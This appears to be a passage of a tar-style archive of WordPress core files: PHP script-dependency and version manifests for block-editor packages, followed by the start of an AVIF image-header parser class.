'block-library/query/view.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => 'f4c91c89fa5271f3dad9', 'type' => 'module'), 'block-library/search/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '2a73400a693958f604de', 'type' => 'module')); assets/script-loader-react-refresh-entry.php000064400000000171147177035010015222 0ustar00 array('wp-react-refresh-runtime'), 'version' => '8151afc94a5ebc73b7a8229f0d7ee352');assets/script-modules-packages.php000064400000002575147177035010013323 0ustar00 array('dependencies' => array(), 'version' => 'd509fc21b652345db0b3', 'type' => 'module'), 'interactivity/debug.js' => array('dependencies' => array(), 'version' => 'd1c1c7faff86314c361a', 'type' => 'module'), 'interactivity-router/index.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => '4b36f376cc3aab08acca', 'type' => 'module'), 'a11y/index.js' => array('dependencies' => array(), 'version' => 'b3a7f46c0ef4f3484886', 'type' => 'module'), 'block-library/file/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'b0cd471b6fde34702d88', 'type' => 'module'), 'block-library/image/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e1ce544dd878f3a09f70', 'type' => 'module'), 'block-library/navigation/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '9510985aedc1f8e088f3', 'type' => 'module'), 'block-library/query/view.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => '8e6f28f734f3c306b648', 'type' => 'module'), 'block-library/search/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'acdb7febda1392ad28de', 'type' => 'module')); assets/script-loader-packages.php000064400000026175147177035010013123 0ustar00 array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => 'a38319d7ba46c6e60f7f9d4c371222c5'), 'annotations.js' => array('dependencies' => array('lodash', 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => 'e103c345829d2b4da838b701a4dff236'), 'api-fetch.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '63050163caffa6aac54e9ebf21fe0472'), 'autop.js' => array('dependencies' => array('wp-polyfill'), 'version' => '21d1d6c005241b908b592f52ad684a28'), 'blob.js' => array('dependencies' => array('wp-polyfill'), 'version' => '87cf2365cd719a6954f1e2bb8bcc692a'), 'block-directory.js' => array('dependencies' => array('lodash', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-edit-post', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '7cf0ebaf9ad71b48f8e259da09c04a96'), 'block-editor.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-shortcode', 'wp-token-list', 'wp-url', 'wp-warning', 'wp-wordcount'), 'version' => '1aaefec40aaf345b5e6e969304e78e07'), 'block-library.js' => array('dependencies' => array('lodash', 'moment', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-reusable-blocks', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport'), 'version' => 'eaf9a7d8b936d26afead09af3f82b117'), 'block-serialization-default-parser.js' => array('dependencies' => array('wp-polyfill'), 'version' => '8ee151736a1e51db2bafbb61ddd60634'), 'blocks.js' => array('dependencies' => array('lodash', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-shortcode'), 'version' => '658a51e7220626e26a92a46af5c2e489'), 'components.js' => array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-warning'), 'version' => '76c5a4c54d97b02824ed3d3b164c2811'), 'compose.js' => array('dependencies' => array('lodash', 'react', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-priority-queue'), 'version' => 'e52c48958a19b766c6a9d28c02d53575'), 'core-data.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-blocks', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-url'), 'version' => '95df951bbac4c9f2fd2e6da80561595d'), 'customize-widgets.js' => array('dependencies' => array('lodash', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-widgets'), 'version' => '498aa94909e53672986d64a11b67d88b'), 'data.js' => array('dependencies' => array('lodash', 'react', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-priority-queue', 'wp-redux-routine'), 'version' => '6c1ab5799c4b061254d313d2d8d9fb87'), 'data-controls.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated', 'wp-polyfill'), 'version' => '6a75067d86cf9ab901a4646595575446'), 'date.js' => array('dependencies' => array('moment', 'wp-polyfill'), 'version' => 'e923a564a0407e0c2ffcbd348817ca86'), 'deprecated.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => '96593d5d272d008fbcb6912fa0b86778'), 'dom.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '3c10edc1abf3fbbc79f17fd7d1d332eb'), 'dom-ready.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'd996b53411d1533a84951212ab6ac4ff'), 'edit-post.js' => array('dependencies' => array('lodash', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => '51ebcd5cd745a9866ab9a430d8318189'), 'edit-site.js' => array('dependencies' => array('lodash', 'react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-reusable-blocks', 'wp-url', 'wp-viewport'), 'version' => '3497072223e20a22d15e7212dd6da2db'), 'edit-widgets.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-reusable-blocks', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => 'd81f8f3ae104f6157df90b9c8d26cd39'), 'editor.js' => array('dependencies' => array('lodash', 'react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-reusable-blocks', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => '5ed697cafca349e71af1c7f8842fcd44'), 'element.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-escape-html', 'wp-polyfill'), 'version' => '3dfdc75a0abf30f057df44e9a39abe5b'), 'escape-html.js' => array('dependencies' => array('wp-polyfill'), 'version' => '00a5735837e9efe13da1d979f16a7105'), 'format-library.js' => array('dependencies' => array('lodash', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => '98e32e5276b4b59e7b283addf7cdbd8c'), 'hooks.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c6d64f2cb8f5c6bb49caca37f8828ce3'), 'html-entities.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c6385fb7cd9fdada1cf8892a545f8a26'), 'i18n.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => 'ebee46757c6a411e38fd079a7ac71d94'), 'is-shallow-equal.js' => array('dependencies' => array('wp-polyfill'), 'version' => '649feec00389556f8015a6b97efc1cb1'), 'keyboard-shortcuts.js' => array('dependencies' => array('lodash', 'wp-data', 'wp-element', 'wp-keycodes', 'wp-polyfill'), 'version' => '37fdd241f3be3126e9248060e363e7c9'), 'keycodes.js' => array('dependencies' => array('lodash', 'wp-i18n', 'wp-polyfill'), 'version' => '84a0e6bbcf0b9e1ea0184c3f2bf28022'), 'list-reusable-blocks.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '2b04eb3e5628488fe2cb534f02806022'), 'media-utils.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'ee812d25ec8504c5b419a1aa3cae974d'), 'notices.js' => array('dependencies' => array('lodash', 'wp-data', 'wp-polyfill'), 'version' => 'e44820c667bf205cacdfc48cbeb3c2e6'), 'nux.js' => array('dependencies' => array('lodash', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '48ab41273bfd9022769c430fcd3c23cf'), 'plugins.js' => array('dependencies' => array('lodash', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-polyfill', 'wp-primitives'), 'version' => 'f885533aefb501e1eedcbd4a9d04ca70'), 'preferences.js' => array('dependencies' => array('wp-a11y', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'a9b6f95c63bb642d0be7c3d1d208b302'), 'primitives.js' => array('dependencies' => array('wp-element', 'wp-polyfill'), 'version' => 'cadf5cfaabdb15c8c8fc440547afe919'), 'priority-queue.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'efad6460ae6b28406d39866cb10731e0'), 'redux-routine.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '5156478c032ea85a2bbdceeb7a43b0c1'), 'reusable-blocks.js' => array('dependencies' => array('lodash', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '7387bed6e19d1b3aec4b6fda683a0768'), 'rich-text.js' => array('dependencies' => array('lodash', 'wp-a11y', 'wp-compose', 'wp-data', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes', 'wp-polyfill'), 'version' => 'e7d57502b62ec4756783a0cd79238841'), 'server-side-render.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '9aa1118308e1a7ca5fbe4b842b1ba63e'), 'shortcode.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => 'd6964e945049b6190adc8770cda168c4'), 'token-list.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '4ebce6423dfff99d40033fd33ce52cc9'), 'url.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '16385e4d69da65c7283790971de6b297'), 'viewport.js' => array('dependencies' => array('lodash', 'wp-compose', 'wp-data', 'wp-element', 'wp-polyfill'), 'version' => '7ee74cd3ed0dfcfd22b233b8750d1025'), 'warning.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'b9190af8fc6a3a48c580473c6f337b88'), 'widgets.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => '80e98954519d1dad7a91a2248dbc2cc9'), 'wordcount.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => 'fb8056c75aa0a0569f7ea3ceae97fbc6'));assets/script-loader-react-refresh-runtime.php000064400000000137147177035010015546 0ustar00 array(), 'version' => '4fb86f241c3b2d9d9e0411b507079823');assets/script-loader-packages.min.php000064400000031144147177035010013675 0ustar00 array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '3156534cc54473497e14'), 'annotations.min.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-rich-text'), 'version' => '238360e96c76d37a2468'), 'api-fetch.min.js' => array('dependencies' => array('wp-i18n', 'wp-url'), 'version' => 'd387b816bc1ed2042e28'), 'autop.min.js' => array('dependencies' => array(), 'version' => '9fb50649848277dd318d'), 'blob.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9113eed771d446f4a556'), 'block-directory.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-primitives', 'wp-url'), 'version' => '1e2dcb064ecd5905fe6b'), 'block-editor.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning', 'wp-wordcount'), 'version' => 'dc2875dbcee52519979b'), 'block-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => 'ccc402e50b786e799ae9'), 'block-serialization-default-parser.min.js' => array('dependencies' => array(), 'version' => '14d44daebf663d05d330'), 'blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode', 'wp-warning'), 'version' => '8474af4b6260126fa879'), 'commands.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis'), 'version' => '33b90579e9a6d83ac03b'), 'components.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => 'e2ec2370dd500f7ea7c0'), 'compose.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-priority-queue'), 'version' => '85f0708cd2e6b26addeb'), 'core-commands.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => 'e398c3f43e502a9c4a8f'), 'core-data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-private-apis', 'wp-rich-text', 'wp-url', 'wp-warning'), 'version' => '8224153d27ea1b378c5a'), 'customize-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => '6cc7ebe73bf2bd031694'), 'data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => '7c62e39de0308c73d50c'), 'data-controls.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated'), 'version' => '49f5587e8b90f9e7cc7e'), 'date.min.js' => array('dependencies' => array('moment', 'wp-deprecated'), 'version' => 'aaca6387d1cf924acc51'), 'deprecated.min.js' => array('dependencies' => array('wp-hooks'), 'version' => 'e1f84915c5e8ae38964c'), 'dom.min.js' => array('dependencies' => array('wp-deprecated'), 'version' => '93117dfee2692b04b770'), 'dom-ready.min.js' => array('dependencies' => array(), 'version' => 'f77871ff7694fffea381'), 'edit-post.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-widgets'), 'version' => 'f56f4976c416ccebe712'), 'edit-site.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-private-apis', 'wp-router', 'wp-url', 'wp-warning', 'wp-widgets'), 'version' => '79e90f0c7638bb507b37'), 'edit-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '1efdc3b9daf491cf8991'), 'editor.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-wordcount'), 'version' => 'c75d9bcd56416c25429e'), 'element.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html'), 'version' => 'cb762d190aebbec25b27'), 'escape-html.min.js' => array('dependencies' => array(), 'version' => '6561a406d2d232a6fbd2'), 'fields.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-blob', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-patterns', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => 'f946d21e4cfda7fd0943'), 'format-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => '81b8a9364113f57b6a37'), 'hooks.min.js' => array('dependencies' => array(), 'version' => '4d63a3d491d11ffd8ac6'), 'html-entities.min.js' => array('dependencies' => array(), 'version' => '2cd3358363e0675638fb'), 'i18n.min.js' => array('dependencies' => array('wp-hooks'), 'version' => '5e580eb46a90c2b997e6'), 'is-shallow-equal.min.js' => array('dependencies' => array(), 'version' => 'e0f9f1d78d83f5196979'), 'keyboard-shortcuts.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes'), 'version' => '32686e58e84193ce808b'), 'keycodes.min.js' => array('dependencies' => array('wp-i18n'), 'version' => '034ff647a54b018581d3'), 'list-reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'aa3dd59fcb0ede2ee0da'), 'media-utils.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n'), 'version' => 'e10cc6bfcff4fe474479'), 'notices.min.js' => array('dependencies' => array('wp-data'), 'version' => '673a68a7ac2f556ed50b'), 'nux.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '9a0dc535fe222ae46a48'), 'patterns.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '43f6fdf7b2a8313f6de5'), 'plugins.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives'), 'version' => 'ef6da4a9b2747b62c09c'), 'preferences.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-private-apis'), 'version' => '945c6cbfe821b3070047'), 'preferences-persistence.min.js' => array('dependencies' => array('wp-api-fetch'), 'version' => '9307a8c9e3254140a223'), 'primitives.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element'), 'version' => 'aef2543ab60c8c9bb609'), 'priority-queue.min.js' => array('dependencies' => array(), 'version' => '9c21c957c7e50ffdbf48'), 'private-apis.min.js' => array('dependencies' => array(), 'version' => '4b858962c15c2c7a135f'), 'redux-routine.min.js' => array('dependencies' => array(), 'version' => 'a0a172871afaeb261566'), 'reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '73735a77e4e5095733da'), 'rich-text.min.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes'), 'version' => '4021b9e4e9ef4d3cd868'), 'router.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => 'e4887fecc16ef03e908f'), 'server-side-render.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '1e0f25c205ebeb30bcd2'), 'shortcode.min.js' => array('dependencies' => array(), 'version' => 'b7747eee0efafd2f0c3b'), 'style-engine.min.js' => array('dependencies' => array(), 'version' => '08cc10e9532531e22456'), 'token-list.min.js' => array('dependencies' => array(), 'version' => '3b5f5dcfde830ecef24f'), 'undo-manager.min.js' => array('dependencies' => array('wp-is-shallow-equal'), 'version' => 'f0698003cb0f0a7bd794'), 'url.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'e87eb76272a3a08402d2'), 'viewport.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-data'), 'version' => '829c9a30d366e1e5054c'), 'warning.min.js' => array('dependencies' => array(), 'version' => 'ed7c8b0940914f4fe44b'), 'widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => 'e4801fc4b16effe444d8'), 'wordcount.min.js' => array('dependencies' => array(), 'version' => '55d8c2bf3dc99e7ea5ec')); class-avif-info.php000064400000071657147177035010010263 0ustar00= 2^31 on 32-bit systems. // See https://www.php.net/manual/en/function.unpack.php#106041 return unpack( 'N', $input ) [1]; } } /** * Reads bytes and advances the stream position by the same count. * * @param stream $handle Bytes will be read from this resource. * @param int $num_bytes Number of bytes read. Must be greater than 0. * @return binary string|false The raw bytes or false on failure. */ function read( $handle, $num_bytes ) { $data = fread( $handle, $num_bytes ); return ( $data !== false && strlen( $data ) >= $num_bytes ) ? $data : false; } /** * Advances the stream position by the given offset. * * @param stream $handle Bytes will be skipped from this resource. * @param int $num_bytes Number of skipped bytes. Can be 0. * @return bool True on success or false on failure. */ // Skips 'num_bytes' from the 'stream'. 'num_bytes' can be zero. function skip( $handle, $num_bytes ) { return ( fseek( $handle, $num_bytes, SEEK_CUR ) == 0 ); } //------------------------------------------------------------------------------ // Features are parsed into temporary property associations. class Tile { // Tile item id <-> parent item id associations. public $tile_item_id; public $parent_item_id; } class Prop { // Property index <-> item id associations. public $property_index; public $item_id; } class Dim_Prop { // Property <-> features associations. public $property_index; public $width; public $height; } class Chan_Prop { // Property <-> features associations. public $property_index; public $bit_depth; public $num_channels; } class Features { public $has_primary_item = false; // True if "pitm" was parsed. public $has_alpha = false; // True if an alpha "auxC" was parsed. public $primary_item_id; public $primary_item_features = array( // Deduced from the data below. 'width' => UNDEFINED, // In number of pixels. 'height' => UNDEFINED, // Ignores mirror and rotation. 'bit_depth' => UNDEFINED, // Likely 8, 10 or 12 bits per channel per pixel. 'num_channels' => UNDEFINED // Likely 1, 2, 3 or 4 channels: // (1 monochrome or 3 colors) + (0 or 1 alpha) ); public $tiles = array(); // Tile[] public $props = 